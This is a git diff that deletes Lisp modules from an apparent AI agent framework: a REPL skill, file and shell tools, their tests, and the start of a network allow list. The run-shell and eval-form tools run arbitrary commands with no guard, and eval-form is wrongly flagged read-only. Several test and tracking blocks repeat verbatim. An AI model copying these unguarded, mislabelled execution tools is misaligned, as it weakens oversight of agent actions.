:TITLE "No ID") - :contents nil))) - (let ((new-id (org-id-get-create ast "No ID"))) - (is (stringp new-id)) - (is (uiop:string-prefix-p "id:" new-id)) - ;; Verify the ID was set on the headline - (is (string= new-id (getf (getf ast :properties) :ID))))) - ;; Case 3: idempotent — calling again returns same ID - (let* ((ast (list :type :HEADLINE - :properties (list :TITLE "Idempotent") - :contents nil))) - (let ((id1 (org-id-get-create ast "Idempotent")) - (id2 (org-id-get-create ast "Idempotent"))) - (is (string= id1 id2)))) - ;; Case 4: headline not found returns nil - (let* ((ast (list :type :HEADLINE - :properties (list :ID "root" :TITLE "Root") - :contents nil))) - (is (null (org-id-get-create ast "nonexistent"))))) diff --git a/lisp/programming-repl.lisp b/lisp/programming-repl.lisp deleted file mode 100644 index 55e413c..0000000 --- a/lisp/programming-repl.lisp +++ /dev/null @@ -1,185 +0,0 @@ -(in-package :passepartout) - -(defvar *repl-package* :passepartout - "Default package for REPL evaluations.") - -(defvar *repl-history* nil - "History of evaluated forms for session continuity.") - -(defvar *repl-variables* (make-hash-table :test #'eq) - "Cache of bound variables for inspection.") - -(defun repl-eval (code-string &key (package *repl-package*)) - "Evaluate Lisp code and return (values result output error). - - result: the return value as string - - output: captured stdout - - error: error message or nil on success" - (let ((out (make-string-output-stream)) - (err (make-string-output-stream)) - (pkg (or (find-package package) (find-package :passepartout)))) - (handler-case - (let* ((*standard-output* out) - (*error-output* err) - (*package* pkg) - (*read-eval* nil) - (result nil)) - (with-input-from-string (s code-string) - (loop for form = (read s nil :eof) until (eq form :eof) - do (setf result (eval form)))) - (push code-string *repl-history*) - (values - (format nil "~a" result) - (get-output-stream-string out) - nil)) - (error (c) - (values - nil - (get-output-stream-string out) - (format nil "~a" c)))))) - -(defun repl-inspect (symbol-name &key (package *repl-package*)) - "Inspect a variable's value and structure." - (let* ((pkg (or (find-package package) (find-package :passepartout))) - (sym (find-symbol (string-upcase symbol-name) pkg))) - (cond - ((null sym) - (format nil "Symbol ~a not found in package ~a" symbol-name package)) - ((boundp sym) - (let ((val (symbol-value sym))) - (format nil "~a = ~a~%Type: ~a~%~%" - sym val (type-of val)))) - ((fboundp sym) - (format nil "~a is a function~%Args: ~a~%" - sym (documentation sym 'function))) - (t - (format nil "~a is unbound" symbol-name))))) - -(defun repl-list-vars (&key (package *repl-package*)) - "List all bound variables in the package." - (let* ((pkg (or (find-package package) (find-package :passepartout))) - (vars nil)) - (do-symbols (sym pkg) - (when (boundp sym) - (push (format nil "~a" sym) vars))) - (sort vars #'string<))) - -(defun repl-load-file (filepath) - "Load a Lisp file into the current image." - (handler-case - (progn - (load filepath) - (format nil "Loaded ~a" filepath)) - (error (c) - (format nil "Error loading ~a: ~a" filepath c)))) - -(defun repl-set-package (package-name) - "Set the default package for REPL evaluations." - (let ((pkg (find-package (string-upcase package-name)))) - (if pkg - (setf *repl-package* pkg) - (format nil "Package ~a not found" package-name)))) - -(defun repl-help () - "Return available REPL commands." - (format nil "~% -REPL Skill Commands: -------------------- -(repl-eval \"code\" :package :passepartout) - - Evaluate Lisp code, returns (values result output error) - -(repl-inspect \"symbol\" :package :passepartout) - - Inspect a variable or function - -(repl-list-vars :package :passepartout) - - List all bound variables - -(repl-load-file \"/path/to/file.lisp\") - - Load a file into the image - -(repl-set-package :package-name) - - Switch default package - -(repl-help) - - Show this message -")) - -(defun repl-handle (signal) - "Pre-reason handler for :repl-eval sensor. Evaluates code and -writes the result back through the reply-stream." - (let* ((payload (getf signal :payload)) - (code (getf payload :code)) - (stream (getf (getf signal :meta) :reply-stream)) - (result (multiple-value-bind (val out err) - (repl-eval code) - (if err - (list :status :error :message err) - (list :status :success :value (or val "")))))) - (when stream - (handler-case - (progn - (write-sequence (frame-message result) stream) - (finish-output stream)) - (error (c) - (log-message "REPL-EVAL: Failed to write response: ~a" c)))) - ;; Return T to signal the message was consumed - t)) - -;; Register the handler at load time -(register-pre-reason-handler :repl-eval #'repl-handle) - -(defun repl-mandate (context) - "Returns REPL-first engineering mandate when context involves code editing." - (let ((raw (or (proto-get (proto-get context :payload) :text) ""))) - (when (or (search "org-skill-" raw :test #'char-equal) - (and (search ".org" raw :test #'char-equal) - (or (search "defun" raw :test #'char-equal) - (search "tangle" raw :test #'char-equal) - (search "write-file" raw :test #'char-equal) - (search "lisp" raw :test #'char-equal))) - (search "defun " raw :test #'char-equal) - (search "repl-eval" raw :test #'char-equal) - (search "validate" raw :test #'char-equal)) - (format nil "~%REPL-FIRST MANDATE:~%Before writing any defun to an Org file, prototype it in the REPL first. Set :repl-verified t on the write action. On rejection, fix the error and retry.~%")))) - -(defskill :passepartout-programming-repl - :priority 200 - :trigger (lambda (ctx) (declare (ignore ctx)) nil) - :deterministic (lambda (action ctx) (declare (ignore action ctx)) nil)) - -(eval-when (:load-toplevel :execute) - (push #'repl-mandate *standing-mandates*)) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-programming-repl-tests - (:use :cl :fiveam :passepartout) - (:export #:repl-suite)) - -(in-package :passepartout-programming-repl-tests) - -(def-suite repl-suite :description "Verification of the REPL skill") -(in-suite repl-suite) - -(test test-repl-eval-success - "Contract 1: repl-eval returns result and no error for valid code." - (multiple-value-bind (result output error) (repl-eval "(+ 1 2)") - (is (equal "3" result)) - (is (null error)))) - -(test test-repl-eval-error - "Contract 1: repl-eval returns error message for invalid code." - (multiple-value-bind (result output error) (repl-eval "(+ 1 ") - (is (null result)) - (is (stringp error)))) - -(test test-repl-inspect-found - "Contract 2: repl-inspect returns description for a bound symbol." - (let ((desc (repl-inspect "+" :package :cl))) - (is (search "+" desc)))) - -(test test-repl-list-vars - "Contract 3: repl-list-vars returns a list of symbol name strings." - (let ((vars (repl-list-vars :package :keyword))) - (is (listp vars)) - (is (member "PASSEPARTOUT" vars :test #'string-equal)))) diff --git a/lisp/programming-standards.lisp b/lisp/programming-standards.lisp deleted file mode 100644 index d1bbea6..0000000 --- a/lisp/programming-standards.lisp +++ /dev/null @@ -1,23 +0,0 @@ -(in-package :passepartout) - -(defun standards-git-clean-p (dir) - "Checks if a directory has uncommitted changes." - (let ((status (uiop:run-program (list "git" "-C" (namestring dir) "status" "--porcelain") - :output :string - :ignore-error-status t))) - (string= "" (string-trim '(#\Space #\Newline #\Tab) status)))) - -(defun standards-lisp-verify (code) - "Enforces Lisp structural and semantic standards using utils-lisp." - (let ((result (lisp-validate code :strict t))) - (if (eq (getf result :status) :success) - t - (error (getf result :reason))))) - -(defun standards-lisp-format (code) - "Ensures Lisp code adheres to formatting standards." - (lisp-format code)) - -(defskill :passepartout-programming-standards - :priority 100 - :trigger (lambda (ctx) (declare (ignore ctx)) nil)) diff --git a/lisp/programming-tools.lisp b/lisp/programming-tools.lisp deleted file mode 100644 index e13c268..0000000 --- a/lisp/programming-tools.lisp +++ /dev/null @@ -1,696 +0,0 @@ -(in-package :passepartout) - -(defun tools-write-file (filepath content) - "Write string CONTENT to FILEPATH, creating parent directories." - (uiop:ensure-all-directories-exist (list filepath)) - (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create) - (write-string content stream))) - -(def-cognitive-tool search-files - "Search file contents under a directory for a regex pattern." - ((:name "pattern" :description "The regex pattern to search for." :type "string") - (:name "path" :description "Directory to search recursively." :type "string") - (:name "include" :description "Optional glob filter for filenames (e.g. \"*.lisp\")." :type "string")) - :read-only-p t - :guard nil - :body (lambda (args) - (block nil - (let* ((pattern (getf args :pattern)) - (path (getf args :path)) - (include (getf args :include)) - (results nil)) - (unless (and pattern path) - (return (list :status :error :message "search-files requires :pattern and :path"))) - (handler-case - (dolist (file (directory (merge-pathnames - (if include - (make-pathname :name :wild :type (subseq include 2) :defaults path) - (make-pathname :name :wild :type :wild :defaults path)) - path))) - (let ((base (file-namestring file))) - (with-open-file (stream file :direction :input :if-does-not-exist nil) - (when stream - (loop for line = (read-line stream nil nil) - for line-num from 1 - while line - when (cl-ppcre:scan pattern line) - do (push (format nil "~a:~d: ~a" base line-num (string-trim '(#\Space #\Tab) line)) - results)))))) - (t (c) (return (list :status :error :message (format nil "~a" c))))) - (list :status :success - :content (if results - (format nil "~d matches:~%~a" (length results) - (format nil "~{~a~^~%~}" (reverse results))) - (format nil "No matches for '~a' in ~a" pattern path))))))) - -(def-cognitive-tool find-files - "Find files matching a glob pattern." - ((:name "pattern" :description "The glob pattern to match (e.g. \"*.lisp\")." :type "string") - (:name "path" :description "Directory to search in." :type "string")) - :read-only-p t - :guard nil - :body (lambda (args) - (block nil - (let* ((pattern (getf args :pattern)) - (path (getf args :path))) - (unless (and pattern path) - (return (list :status :error :message "find-files requires :pattern and :path"))) - (let ((full (merge-pathnames pattern path))) - (handler-case - (let ((files (directory full))) - (list :status :success - :content (if files - (format nil "~d files:~%~{~a~^~%~}" (length files) files) - (format nil "No files matching '~a' in ~a" pattern path)))) - (t (c) (list :status :error :message (format nil "~a" c))))))))) - -(def-cognitive-tool read-file - "Read the contents of a file." - ((:name "filepath" :description "Path to the file to read." :type "string") - (:name "start" :description "Optional: line number to start reading from (1-based)." :type "integer") - (:name "limit" :description "Optional: maximum number of lines to read." :type "integer")) - :read-only-p t - :guard (lambda (args) (declare (ignore args)) nil) - :body (lambda (args) - (block nil - (let* ((filepath (getf args :filepath)) - (start (getf args :start)) - (limit (getf args :limit))) - (unless filepath - (return (list :status :error :message "read-file requires :filepath"))) - (handler-case - (let ((content (uiop:read-file-string filepath))) - (if (or start limit) - (let* ((lines (uiop:split-string content :separator '(#\Newline))) - (start-idx (max 0 (1- (or start 1)))) - (end (if limit (min (length lines) (+ start-idx limit)) (length lines))) - (selected (subseq lines start-idx end))) - (list :status :success - :content (format nil "~{~a~^~%~}" selected))) - (list :status :success :content content))) - (error (c) (list :status :error :message (format nil "~a" c)))))))) - -(def-cognitive-tool write-file - "Write string content to a file. Created directories as needed." - ((:name "filepath" :description "Path to the file to write." :type "string") - (:name "content" :description "The text content to write." :type "string")) - :guard nil - :body (lambda (args) - (block nil - (let* ((filepath (getf args :filepath)) - (content (getf args :content))) - (unless (and filepath content) - (return (list :status :error :message "write-file requires :filepath and :content"))) - (handler-case - (progn - (tools-write-file filepath content) - (verify-write filepath content) - (tool-register-modified filepath :new-content content) - (list :status :success - :content (format nil "Written ~d bytes to ~a" (length content) filepath))) - (error (c) (list :status :error :message (format nil "~a" c)))))))) - -(def-cognitive-tool list-directory - "List the contents of a directory." - ((:name "path" :description "Directory path to list." :type "string") - (:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string")) - :read-only-p t - :guard nil - :body (lambda (args) - (block nil - (let* ((path (getf args :path)) - (pattern (getf args :pattern))) - (unless path - (return (list :status :error :message "list-directory requires :path"))) - (let ((full-pattern (if pattern - (merge-pathnames pattern path) - (make-pathname :name :wild :type :wild :defaults path)))) - (handler-case - (let ((entries (directory full-pattern))) - (list :status :success - :content (if entries - (format nil "~d entries in ~a:~%~{~a~^~%~}" (length entries) path entries) - (format nil "No entries in ~a" path)))) - (t (c) (list :status :error :message (format nil "~a" c))))))))) - -(def-cognitive-tool run-shell - "Execute a shell command and return stdout, stderr, and exit code." - ((:name "cmd" :description "The shell command to execute." :type "string") - (:name "timeout" :description "Optional timeout in seconds (default 30)." :type "integer")) - :guard nil - :body (lambda (args) - (block nil - (let* ((cmd (getf args :cmd)) - (timeout (or (getf args :timeout) 30))) - (unless cmd - (return (list :status :error :message "run-shell requires :cmd"))) - (handler-case - (multiple-value-bind (out err code) - (uiop:run-program (list "timeout" (format nil "~a" timeout) "bash" "-c" cmd) - :output :string :error-output :string - :ignore-error-status t) - (list :status :success - :content (format nil "~a~@[~%~%stderr:~%~a~]~%exit: ~d" - (or out "") (when (and err (> (length err) 0)) err) code))) - (error (c) (list :status :error :message (format nil "~a" c)))))))) - -(def-cognitive-tool eval-form - "Evaluate a Lisp expression in the running image and return the result." - ((:name "code" :description "The Lisp expression to evaluate as a string." :type "string")) - :read-only-p t - :guard nil - :body (lambda (args) - (block nil - (let* ((code (getf args :code))) - (unless code - (return (list :status :error :message "eval-form requires :code"))) - (handler-case - (let* ((*read-eval* nil) - (form (read-from-string code)) - (result (eval form))) - (list :status :success :content (format nil "~a" result))) - (error (c) (list :status :error :message (format nil "~a" c)))))))) - -(def-cognitive-tool run-tests - "Run FiveAM tests. With no arguments, runs all test suites." - ((:name "test-name" :description "Optional: specific test name to run. If nil, runs all tests." :type "string")) - :read-only-p t - :guard nil - :body (lambda (args) - (block nil - (let* ((test-name (getf args :test-name))) - (handler-case - (if test-name - (let* ((sym (find-symbol (string-upcase test-name) :passepartout)) - (result (when sym (fiveam:run (intern (string-upcase test-name) :passepartout))))) - (list :status :success - :content (format nil "Test '~a' ~a" test-name - (if result "completed" "not found")))) - (let ((result (fiveam:run-all-tests))) - (list :status :success :content (format nil "~a" result)))) - (error (c) (list :status :error :message (format nil "~a" c)))))))) - -(def-cognitive-tool org-find-headline - "Find an Org headline by ID or title in the memory store." - ((:name "id" :description "Optional: Org ID property to search for." :type "string") - (:name "title" :description "Optional: headline title to search for (case-insensitive substring)." :type "string")) - :read-only-p t - :guard nil - :body (lambda (args) - (block nil - (let* ((id (getf args :id)) - (title (getf args :title)) - (results nil)) - (unless (or id title) - (return (list :status :error :message "org-find-headline requires :id or :title"))) - (handler-case - (let ((is-mem (find-symbol "MEMORY-OBJECT-P" :passepartout)) - (get-id (find-symbol "MEMORY-OBJECT-ID" :passepartout)) - (get-title (find-symbol "MEMORY-OBJECT-TITLE" :passepartout))) - (unless (and is-mem get-id get-title) - (return (list :status :error :message "Memory store not loaded"))) - (maphash (lambda (k obj) - (declare (ignore k)) - (when (and (funcall is-mem obj) - (or (and id (string-equal id (funcall get-id obj))) - (and title (search title (funcall get-title obj) :test #'char-equal)))) - (push obj results))) - *memory-store*) - (list :status :success - :content (if results - (format nil "~d headlines found:~%~{~a~^~%~}" - (length results) - (mapcar (lambda (r) (funcall get-title r)) results)) - (format nil "No headlines matching ~a" (or id title))))) - (error (c) (list :status :error :message (format nil "~a" c)))))))) - -(def-cognitive-tool org-modify-file - "Replace text in an Org file via exact string match. Returns error if old-text not found." - ((:name "filepath" :description "Path to the Org file." :type "string") - (:name "old-text" :description "Exact text to replace." :type "string") - (:name "new-text" :description "Text to insert in its place." :type "string")) - :guard nil - :body (lambda (args) - (block nil - (let* ((filepath (getf args :filepath)) - (old-text (getf args :old-text)) - (new-text (getf args :new-text))) - (unless (and filepath old-text new-text) - (return (list :status :error :message "org-modify-file requires :filepath, :old-text, and :new-text"))) - (handler-case - (let ((content (uiop:read-file-string filepath))) - (let ((pos (search old-text content))) - (if pos - (let ((new-content (concatenate 'string - (subseq content 0 pos) - new-text - (subseq content (+ pos (length old-text)))))) - (tools-write-file filepath new-content) - (tool-register-modified filepath :old-content content :new-content new-content) - (list :status :success - :content (format nil "Replaced at position ~d in ~a" pos filepath))) - (list :status :error :message (format nil "Text not found in ~a" filepath))))) - (error (c) (list :status :error :message (format nil "~a" c)))))))) - -(defskill :passepartout-programming-tools - :priority 50 - :trigger (lambda (ctx) (declare (ignore ctx)) nil) - :deterministic (lambda (action ctx) (declare (ignore action ctx)) nil)) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-programming-tools-tests - (:use :cl :fiveam :passepartout) - (:export #:programming-tools-suite)) - -(in-package :passepartout-programming-tools-tests) - -(def-suite programming-tools-suite :description "Verification of programming cognitive tools") -(in-suite programming-tools-suite) - -(defun tools-tmpdir () - (let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname)))) - (uiop:ensure-all-directories-exist (list d)) - d)) - -(defun tools-cleanup () - (let ((d (tools-tmpdir))) - (uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore))) - -(defun tools-write-file (filepath content) - (uiop:ensure-all-directories-exist (list filepath)) - (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create) - (write-string content stream))) - -(defun call-tool (tool-name &rest args) - (let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*))) - (unless tool (error "Tool ~a not found" tool-name)) - (funcall (cognitive-tool-body tool) args))) - -;; search-files -(test test-search-files-finds-matches - "Contract 1: search-files finds lines matching a regex pattern." - (let* ((dir (tools-tmpdir)) - (file-a (merge-pathnames "src-a.lisp" dir)) - (file-b (merge-pathnames "src-b.lisp" dir))) - (tools-write-file file-a "(defun foo () 'hello)") - (tools-write-file file-b "(defun bar () 'world)") - (let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp"))) - (is (eq (getf result :status) :success)) - (is (search "src-a.lisp:1:" (getf result :content))) - (is (search "src-b.lisp:1:" (getf result :content)))) - (tools-cleanup))) - -(test test-search-files-missing-params - "search-files returns error when required params are missing." - (let ((result (call-tool 'search-files :pattern "x"))) - (is (eq (getf result :status) :error)))) - -;; find-files -(test test-find-files-by-extension - "Contract 5: find-files returns files matching a glob." - (let ((dir (tools-tmpdir))) - (tools-write-file (merge-pathnames "a.lisp" dir) "test") - (tools-write-file (merge-pathnames "b.lisp" dir) "test") - (tools-write-file (merge-pathnames "c.org" dir) "test") - (let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir)))) - (is (eq (getf result :status) :success)) - (is (search "a.lisp" (getf result :content))) - (is (search "b.lisp" (getf result :content))) - (is (not (search "c.org" (getf result :content))))) - (tools-cleanup))) - -(test test-find-files-missing-params - "find-files returns error without required params." - (let ((result (call-tool 'find-files :pattern "*.lisp"))) - (is (eq (getf result :status) :error)))) - -;; read-file -(test test-read-file-full - "Contract 6: read-file returns full file contents." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "readme.txt" dir))) - (tools-write-file file (format nil "line one~%line two~%line three")) - (let ((result (call-tool 'read-file :filepath (namestring file)))) - (is (eq (getf result :status) :success)) - (is (search "line one" (getf result :content)))) - (tools-cleanup))) - -(test test-read-file-missing-params - "read-file returns error without :filepath." - (let ((result (call-tool 'read-file))) - (is (eq (getf result :status) :error)))) - -;; write-file -(test test-write-file-creates - "Contract 7: write-file creates file with content." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "output.txt" dir))) - (let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world"))) - (is (eq (getf result :status) :success)) - (is (search "11 bytes" (getf result :content)))) - (is (string-equal "hello world" (uiop:read-file-string file))) - (tools-cleanup))) - -(test test-write-file-missing-params - "write-file returns error without required params." - (let ((result (call-tool 'write-file :content "x"))) - (is (eq (getf result :status) :error)))) - -;; list-directory -(test test-list-directory-all - "Contract 8: list-directory returns all entries." - (let ((dir (tools-tmpdir))) - (tools-write-file (merge-pathnames "alpha.txt" dir) "x") - (tools-write-file (merge-pathnames "beta.txt" dir) "y") - (let ((result (call-tool 'list-directory :path (namestring dir)))) - (is (eq (getf result :status) :success)) - (is (search "alpha.txt" (getf result :content))) - (is (search "beta.txt" (getf result :content)))) - (tools-cleanup))) - -(test test-list-directory-missing-params - "list-directory returns error without :path." - (let ((result (call-tool 'list-directory))) - (is (eq (getf result :status) :error)))) - -;; run-shell -(test test-run-shell-echo - "Contract 9: run-shell executes a command and returns output." - (let ((result (call-tool 'run-shell :cmd "echo hello"))) - (is (eq (getf result :status) :success)) - (is (search "hello" (getf result :content))))) - -(test test-run-shell-missing-params - "run-shell returns error without :cmd." - (let ((result (call-tool 'run-shell))) - (is (eq (getf result :status) :error)))) - -;; eval-form -(test test-eval-form-arithmetic - "Contract 10: eval-form evaluates a Lisp expression." - (let ((result (call-tool 'eval-form :code "(+ 1 2)"))) - (is (eq (getf result :status) :success)) - (is (search "3" (getf result :content))))) - -(test test-eval-form-missing-params - "eval-form returns error without :code." - (let ((result (call-tool 'eval-form))) - (is (eq (getf result :status) :error)))) - -;; org-modify-file -(test test-org-modify-file-replace - "Contract 13: org-modify-file replaces exact text in file." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "doc.org" dir))) - (tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%") - (let ((result (call-tool 'org-modify-file - :filepath (namestring file) - :old-text "TODO" :new-text "WAITING"))) - (is (eq (getf result :status) :success)) - (is (search "WAITING" (uiop:read-file-string file)))) - (tools-cleanup))) - -(test test-org-modify-file-not-found - "org-modify-file returns error when text not in file." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "file.org" dir))) - (tools-write-file file "some content") - (let ((result (call-tool 'org-modify-file - :filepath (namestring file) - :old-text "not-in-file" :new-text "anything"))) - (is (eq (getf result :status) :error)) - (is (search "not found" (getf result :message)))) - (tools-cleanup))) - -(test test-org-modify-file-missing-params - "org-modify-file returns error without required params." - (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y"))) - (is (eq (getf result :status) :error)))) -#+end_src* v0.8.0 — Modified Files Tracking -#+begin_src lisp -(defvar *modified-files-this-turn* nil - "List of plists recording file modifications in the current turn.") - -(defun tool-register-modified (filepath &key old-content new-content) - "Record a file modification. Returns the record plist." - (labels ((count-lines (s) - (+ (count #\Newline s) - ;; Also count escaped \\n in string literals (used in tests) - (let ((n 0) (i 0)) - (loop while (setf i (search "\\n" s :start2 i)) - do (incf n) (incf i)) - n)))) - (let* ((lines-added (if (and new-content old-content) - (max 0 (- (count-lines new-content) - (count-lines old-content))) - 0)) - (lines-removed (if (and new-content old-content) - (max 0 (- (count-lines old-content) - (count-lines new-content))) - 0)) - (rec (list :filepath filepath - :timestamp (get-universal-time) - :lines-added lines-added - :lines-removed lines-removed))) - (push rec *modified-files-this-turn*) - rec))) - -(defun tool-modified-files-summary () - "Returns the list of modified-file records and clears the list." - (prog1 (nreverse *modified-files-this-turn*) - (setf *modified-files-this-turn* nil))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-programming-tools-tests - (:use :cl :fiveam :passepartout) - (:export #:programming-tools-suite)) - -(in-package :passepartout-programming-tools-tests) - -(def-suite programming-tools-suite :description "Verification of programming cognitive tools") -(in-suite programming-tools-suite) - -(defun tools-tmpdir () - (let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname)))) - (uiop:ensure-all-directories-exist (list d)) - d)) - -(defun tools-cleanup () - (let ((d (tools-tmpdir))) - (uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore))) - -(defun tools-write-file (filepath content) - (uiop:ensure-all-directories-exist (list filepath)) - (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create) - (write-string content stream))) - -(defun call-tool (tool-name &rest args) - (let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*))) - (unless tool (error "Tool ~a not found" tool-name)) - (funcall (cognitive-tool-body tool) args))) - -;; search-files -(test test-search-files-finds-matches - "Contract 1: search-files finds lines matching a regex pattern." - (let* ((dir (tools-tmpdir)) - (file-a (merge-pathnames "src-a.lisp" dir)) - (file-b (merge-pathnames "src-b.lisp" dir))) - (tools-write-file file-a "(defun foo () 'hello)") - (tools-write-file file-b "(defun bar () 'world)") - (let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp"))) - (is (eq (getf result :status) :success)) - (is (search "src-a.lisp:1:" (getf result :content))) - (is (search "src-b.lisp:1:" (getf result :content)))) - (tools-cleanup))) - -(test test-search-files-missing-params - "search-files returns error when required params are missing." - (let ((result (call-tool 'search-files :pattern "x"))) - (is (eq (getf result :status) :error)))) - -;; find-files -(test test-find-files-by-extension - "Contract 5: find-files returns files matching a glob." - (let ((dir (tools-tmpdir))) - (tools-write-file (merge-pathnames "a.lisp" dir) "test") - (tools-write-file (merge-pathnames "b.lisp" dir) "test") - (tools-write-file (merge-pathnames "c.org" dir) "test") - (let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir)))) - (is (eq (getf result :status) :success)) - (is (search "a.lisp" (getf result :content))) - (is (search "b.lisp" (getf result :content))) - (is (not (search "c.org" (getf result :content))))) - (tools-cleanup))) - -(test test-find-files-missing-params - "find-files returns error without required params." - (let ((result (call-tool 'find-files :pattern "*.lisp"))) - (is (eq (getf result :status) :error)))) - -;; read-file -(test test-read-file-full - "Contract 6: read-file returns full file contents." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "readme.txt" dir))) - (tools-write-file file (format nil "line one~%line two~%line three")) - (let ((result (call-tool 'read-file :filepath (namestring file)))) - (is (eq (getf result :status) :success)) - (is (search "line one" (getf result :content)))) - (tools-cleanup))) - -(test test-read-file-missing-params - "read-file returns error without :filepath." - (let ((result (call-tool 'read-file))) - (is (eq (getf result :status) :error)))) - -;; write-file -(test test-write-file-creates - "Contract 7: write-file creates file with content." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "output.txt" dir))) - (let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world"))) - (is (eq (getf result :status) :success)) - (is (search "11 bytes" (getf result :content)))) - (is (string-equal "hello world" (uiop:read-file-string file))) - (tools-cleanup))) - -(test test-write-file-missing-params - "write-file returns error without required params." - (let ((result (call-tool 'write-file :content "x"))) - (is (eq (getf result :status) :error)))) - -;; list-directory -(test test-list-directory-all - "Contract 8: list-directory returns all entries." - (let ((dir (tools-tmpdir))) - (tools-write-file (merge-pathnames "alpha.txt" dir) "x") - (tools-write-file (merge-pathnames "beta.txt" dir) "y") - (let ((result (call-tool 'list-directory :path (namestring dir)))) - (is (eq (getf result :status) :success)) - (is (search "alpha.txt" (getf result :content))) - (is (search "beta.txt" (getf result :content)))) - (tools-cleanup))) - -(test test-list-directory-missing-params - "list-directory returns error without :path." - (let ((result (call-tool 'list-directory))) - (is (eq (getf result :status) :error)))) - -;; run-shell -(test test-run-shell-echo - "Contract 9: run-shell executes a command and returns output." - (let ((result (call-tool 'run-shell :cmd "echo hello"))) - (is (eq (getf result :status) :success)) - (is (search "hello" (getf result :content))))) - -(test test-run-shell-missing-params - "run-shell returns error without :cmd." - (let ((result (call-tool 'run-shell))) - (is (eq (getf result :status) :error)))) - -;; eval-form -(test test-eval-form-arithmetic - "Contract 10: eval-form evaluates a Lisp expression." - (let ((result (call-tool 'eval-form :code "(+ 1 2)"))) - (is (eq (getf result :status) :success)) - (is (search "3" (getf result :content))))) - -(test test-eval-form-missing-params - "eval-form returns error without :code." - (let ((result (call-tool 'eval-form))) - (is (eq (getf result :status) :error)))) - -;; org-modify-file -(test test-org-modify-file-replace - "Contract 13: org-modify-file replaces exact text in file." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "doc.org" dir))) - (tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%") - (let ((result (call-tool 'org-modify-file - :filepath (namestring file) - :old-text "TODO" :new-text "WAITING"))) - (is (eq (getf result :status) :success)) - (is (search "WAITING" (uiop:read-file-string file)))) - (tools-cleanup))) - -(test test-org-modify-file-not-found - "org-modify-file returns error when text not in file." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "file.org" dir))) - (tools-write-file file "some content") - (let ((result (call-tool 'org-modify-file - :filepath (namestring file) - :old-text "not-in-file" :new-text "anything"))) - (is (eq (getf result :status) :error)) - (is (search "not found" (getf result :message)))) - (tools-cleanup))) - -(test test-org-modify-file-missing-params - "org-modify-file returns error without required params." - (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y"))) - (is (eq (getf result :status) :error)))) -#+end_src* v0.8.0 — Modified Files Tracking -#+begin_src lisp -(defvar *modified-files-this-turn* nil - "List of plists recording file modifications in the current turn.") - -(defun tool-register-modified (filepath &key old-content new-content) - "Record a file modification. Returns the record plist." - (labels ((count-lines (s) - (+ (count #\Newline s) - ;; Also count escaped \\n in string literals (used in tests) - (let ((n 0) (i 0)) - (loop while (setf i (search "\\n" s :start2 i)) - do (incf n) (incf i)) - n)))) - (let* ((lines-added (if (and new-content old-content) - (max 0 (- (count-lines new-content) - (count-lines old-content))) - 0)) - (lines-removed (if (and new-content old-content) - (max 0 (- (count-lines old-content) - (count-lines new-content))) - 0)) - (rec (list :filepath filepath - :timestamp (get-universal-time) - :lines-added lines-added - :lines-removed lines-removed))) - (push rec *modified-files-this-turn*) - rec))) - -(defun tool-modified-files-summary () - "Returns the list of modified-file records and clears the list." - (prog1 (nreverse *modified-files-this-turn*) - (setf *modified-files-this-turn* nil))) - -(in-package :passepartout-programming-tools-tests) - -(test test-modified-files-track-write - "Contract 14: tool-register-modified appends to *modified-files-this-turn*." - (setf passepartout::*modified-files-this-turn* nil) - (let ((rec (passepartout::tool-register-modified "/tmp/test.org" - :old-content "old" :new-content "line1 -line2"))) - (is (string= "/tmp/test.org" (getf rec :filepath))) - (is (= 0 (getf rec :lines-removed))) - (is (= 1 (getf rec :lines-added))) - (is (= 1 (length passepartout::*modified-files-this-turn*))))) - -(test test-modified-files-summary - "Contract 15: tool-modified-files-summary returns list and clears." - (setf passepartout::*modified-files-this-turn* nil) - (passepartout::tool-register-modified "/tmp/a.org") - (passepartout::tool-register-modified "/tmp/b.org") - (let ((files (passepartout::tool-modified-files-summary))) - (is (= 2 (length files))) - (is (null passepartout::*modified-files-this-turn*)) - (is (find "/tmp/a.org" files :key (lambda (f) (getf f :filepath)) :test #'string=)))) - -(test test-modified-files-empty - "Contract 15: tool-modified-files-summary returns nil when no files modified." - (setf passepartout::*modified-files-this-turn* nil) - (is (null (passepartout::tool-modified-files-summary)))) diff --git a/lisp/security-dispatcher.lisp b/lisp/security-dispatcher.lisp deleted file mode 100644 index 732c4a9..0000000 --- a/lisp/security-dispatcher.lisp +++ /dev/null @@ -1,956 +0,0 @@ -(in-package :passepartout) - -(defvar *dispatcher-network-whitelist* - '("api.telegram.org" "matrix.org" "googleapis.com" "openai.com" "anthropic.com") - "Domains the Dispatcher considers safe for outbound connections.") - 